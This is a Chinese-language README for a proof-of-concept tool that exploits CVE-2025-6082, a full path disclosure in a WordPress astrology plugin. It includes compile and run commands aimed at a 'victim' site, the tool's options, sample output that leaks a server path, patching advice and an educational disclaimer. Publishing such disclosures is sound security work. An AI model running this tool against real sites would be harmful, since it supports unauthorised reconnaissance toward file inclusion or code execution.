作者: Byte Reaper
Telegram: @ByteReaper0
CVE: CVE-2025-6082
漏洞: 全路径泄露 (CWE-200)
本概念验证利用 Birth Chart Compatibility WordPress 插件(版本 ≤ 2.0)中的全路径泄露漏洞。PoC 向插件的 index.php 端点发送 HTTP GET 请求,捕获任何 PHP 警告或致命错误,并解析出服务器的文件系统路径(例如 /var/www/html/wp-content/plugins/... 或 C:\xampp\htdocs\...)。
泄露完整路径有助于攻击者进一步实施本地文件包含(LFI)、远程代码执行(RCE)或其他侦察攻击。
gcc 或兼容的 C 编译器libcurl 开发头文件argparse.c / argparse.hgcc -o fpd-poc exploit.c argparse.c -lcurl
./fpd-poc -u https://target.com [选项]
选项:
-u, --url (必需)目标 WordPress 站点的基 URL
-c, --cookies 使用来自 FILE 的 Cookie(可选)
-v, --verbose 启用详细的 curl 输出
-f, --loop 重复请求 N 次(例如 -f 10)
-h, --help 显示此帮助信息
示例:
./fpd-poc -u https://victim.com
./fpd-poc -u https://victim.com -v -f 5 样本输出:
[+] Request sent successfully
[+] Input Url : https://victim.com
[+] Full Format Url: https://victim.com/wp-content/plugins/birth-chart-compatibility/index.php
[+] Http Code : 200
====================================[Response]====================================
Warning: include(/var/www/html/wp-content/plugins/birth-chart-compatibility/missing.php): failed to open stream...
[+] Response Len : 256
[+] Keyword found: Warning:
[+] Context: Warning: include(/var/www/html/wp-content/plugins/birth-chart-compatibility/missing.php
一旦发布,立即将“Birth Chart Compatibility”插件更新到补丁版本(> 2.0)。
如果不需要,请禁用或删除该插件。
通过 Web 服务器配置(例如通过 .htaccess 或 Nginx 规则)拒绝直接访问插件 PHP 文件(index.php)。
免责声明 此代码仅供教育和测试目的使用。未经授权对您不拥有或未获得明确许可的系统进行测试可能是非法的。